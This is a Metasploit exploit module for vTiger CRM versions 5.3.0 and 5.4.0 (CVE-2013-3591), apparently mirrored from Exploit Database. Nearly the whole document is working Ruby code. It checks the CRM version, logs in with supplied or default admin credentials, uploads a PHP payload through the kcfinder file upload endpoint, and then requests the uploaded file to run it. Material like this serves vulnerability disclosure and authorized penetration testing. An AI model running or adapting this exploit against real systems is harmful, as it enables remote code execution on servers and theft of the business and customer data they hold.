vTiger CRM 5.3.0 5.4.0 – (Authenticated) Remote Code Execution (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2013-10-31
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29319/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
  'Description' => %q{
  vTiger CRM allows an authenticated user to upload files to embed within documents.
  Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
  script and execute aribtrary PHP code remotely.
  
  This module was tested against vTiger CRM v5.4.0 and v5.3.0.
  },
  'Author' =>
  [
  'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
  ],
  'License' => MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2013-3591'],
  ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Payload'=>
  {
  'BadChars' => "&\n=+%",
  },
  'Targets' =>
  [
  [ 'Automatic', { } ],
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Oct 30 2013'))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
  OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
  OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
  ], self.class)
  end
  
  def check
  res = nil
  begin
  res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
  rescue
  print_error("Unable to access the index.php file")
  return CheckCode::Unknown
  end
  
  if res and res.code != 200
  print_error("Error accessing the index.php file")
  return CheckCode::Unknown
  end
  
  if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
  print_status("vTiger CRM version: " + $1)
  case $1
  when '5.4.0', '5.3.0'
  return CheckCode::Vulnerable
  else
  return CheckCode::Safe
  end
  end
  
  return CheckCode::Unknown
  end
  
  def exploit
  
  init = send_request_cgi({
  'method' => 'GET',
  'uri' =>normalize_uri(target_uri.path, '/index.php')
  })
  
  sess = init.get_cookies
  
  post = {
  'module' => 'Users',
  'action' => 'Authenticate',
  'return_module' => 'Users',
  'return_action' => 'Login',
  'user_name' => datastore['USERNAME'],
  'user_password' => datastore['PASSWORD']
  }
  
  login = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/index.php'),
  'vars_post' => post,
  'cookie' => sess
  })
  
  fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
  cookies = login.get_cookies
  
  php = %Q|<?php #{payload.encoded} ?>|
  data = Rex::MIME::Message.new
  data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
  data.add_part('files', nil, nil, 'form-data; name="dir"')
  
  data_post = data.to_s
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => data_post,
  'cookie' => cookies
  })
  if res and res.code == 200
  print_status("Triggering payload...")
  send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
  end
  end
  end